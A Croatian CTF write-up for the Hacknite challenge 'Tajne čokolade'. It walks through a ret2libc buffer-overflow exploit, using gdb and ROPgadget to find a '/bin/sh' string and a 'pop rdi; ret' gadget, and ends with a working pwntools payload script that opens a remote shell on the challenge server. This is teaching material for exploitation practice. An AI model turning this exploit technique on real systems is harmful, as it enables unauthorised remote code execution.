Ret2Libc

Ret2Libc je naziv za binarnu eksploataciju kojom napadač preplavljuje povratnu adresu na izvršni kod unutar neke od funkcija iz libc-*.so (najčešće funkcija system()).

Tajne čokolade

Opis zadatka:

https://platforma.hacknite.hr/challenges#Tajne%20%C4%8Dokolade-96

Ante neće uspjeti ostvariti dominaciju tržišta sladoleda bez savršenog recepta za čokoladu, što u konačnici znači da neće imati dovoljno novaca za najbolje novo računalo kojim bi mogao igrati RTX Minecraft na 4k rezoluciji i 144Hz.

Ante je načuo da isti program koji je čuvao recept za sladoled od vanilije zapravo negdje čuva i recept za savršeni sladoled od čokolade. Preciznije, na istom računalu/poslužitelju se nalazi i taj dodatni recept kojega Ante traži, sakriven negdje na datotečnom sustavu u datoteci naziva flag2.

Možeš li se spojiti na program, ostvariti pristup poslužitelju - tako da možeš izvršavati naredbe u ljusci (engl. shell) operacijskog sustava, tzv. remote code execution - te pronaći i taj recept čime bi osigurao da Ante u potpunosti dominira tržištem sladoleda?

Podaci za spajanje i podaci o programu (izvorni kod i izvršna datoteka) su isti kao i u zadatku Tajne vanilije. Program je na poslužitelju pokrenut unutar Alpine Linux 3.16 containera (to ne bi trebalo bitno utjecati na rješavanje zadatka).

Rješenje:

Potrebno je napraviti sistemski poziv za pretraživanje datoteke “flag2” na udaljenom računalu. Ovdje će biti prikazano rješenje koje iskorištava činjenicu da datoteka koristi sistemski poziv system():

system("date +%F"); //Zbog ovog poziva je funkcija system uključena u datoteku

Preko nje će se pozvati remote shell koji će omogućiti pozivanje proizvoljnih naredbi tzv. remote code execution.

System(): Funkcija koja prima string kao argument, interpretira ga i izvrši. Kako bi se pozvao shell funkcijom system, potrebno mu je proslijediti pointer na string “/bin/sh”.

Unos stringa “/bin/sh” omogućen je kroz varijablu username ili password, ali se i nalazi unutar datoteke i bez njegovog unosa. Rješenje će biti izvedeno uz pomoć postojećeg stringa. Razlika će dakle biti u adresi koja sadrži “/bin/sh”. Ako rješenje koristi username ili password varijablu, unutar payloada je potrebno izmijeniti adresu koja se prosljeđuje pozivu system na odgovarajući offset odgovarajuće varijable.

Kako bi se pronašla adresa “/bin/sh” stringa, najprije je potrebno otvoriti main unutar gdb-a:

gdb main

Pokrenite program jednom s (unutar gdb-a):

r 

kako bi se adresna memorija mapirala. Zatim je potrebno pronaći početnu i završnu adresu programa (unutar gdb-a):

info proc map

Ispis prikazuje da je početak memorije na adresi 0x400000, a kraj (onaj prije heap-a) na adresi 0x408000. Pretraga za string “/bin/sh” izvodi se naredbom (unutar gdb-a):

find start_addr, end_addr, string

Dakle:

find 0x400000, 0x408000, "/bin/sh"

Dobivene su dvije adrese: 0x4050d9 i 0x4060d9. Za provjeru da se radi o dobrom stringu može iskoristiti naredba (unutar gdb-a):

x/s 0x4050d9 //ili 0x4060d9

U rješenju će se koristiti adresa 0x4050d9.

Zbog x64 calling konvencije pointer na adresu na kojoj se nalazi string “/bin/sh” bit će u registru rdi. To znači da kako bi se sistemski poziv system ispravno pozvao, prije samog poziva potrebno je postaviti željenu adresu u registar rdi. Kako bi se to postiglo koristi se tzv. “ROP”. Rop (return-oriented programming) je tehnika kojom se registri postavljaju u željena stanja. Jedna od tehnika rop-a jest “write, what, where” kojim se pozivaju krajevi funkcija koji sadrže instrukcije pop s željenim registrima (pop stavlja trenutnu vrijednost na stogu u registar, npr. pop rdi) i time omogućuje arbitrarni unos. U ovom slučaju, potrebno je postaviti vrijednost u registar rdi, što znači da je potrebna funkcija koja završava s pop rdi.

Kako bi se pronašla takva funkcija koriste se rop alati. U ovom primjeru korišteni alat je ROPGadget no postoje i brojni drugi (npr. Ropper, PWN tools…).

Nareba za pronalazak “write,what,where” rop-a jest (uz pomoć ROPgadget):

ROPGadget --silent --ropchain --binary main

Iz ispisa je vidljivo da je upravo:

pop rdi;
ret; 

na adresi 0x401797 (što je ujedno i adresa unutar funkcije system). Za provjeru (unutar gdb-a):

x/2i 0x401797

Sada kada je poznata adresa stringa “/bin/sh” i adresa rop-a, moguće je sastaviti payload. Ideja je sljedeća:

1. Prepisati stog s padding-om ispravne duljine (120)
2. Prepisati povratnu adresu s adresom rop-a //0x401797 
3. Prepisati sljedećih 8 bajtova s adresom stringa "/bin/sh" //0x4050d9 --> pop rdi;
4. Prepisati povratnu adresu s adresom system poziva //0x4015b6 (adresa system poziva se može saznati s npr. disas system) --> ret;

Nakon uspješnog unosa sastavljenog payloada na udaljenom računalu bit će otvoren shell.

Napomena 1.: x64 calling konvencija zahtjeva da su povratne adrese poredane sa 16-bitnim modulom (stack alignment x64 calling convention)

Napomena 2.: Dobra je praksa nadodati adresu na poziv exit() nakon završetka rada shell-a kako bi program uspješno prestao s radom.

Primjer rješenja (PWN tools python3):

payload.py


  p = remote("chal.platforma.hacknite.hr",11002)
  payload = b"\n"
  payload += b"A"*120 #padding
  payload += p64(0x401797)
  payload += p64(0x4050d9)
  payload += p64(0x4015b6)
  p.writeline(payload)
  p.interactive()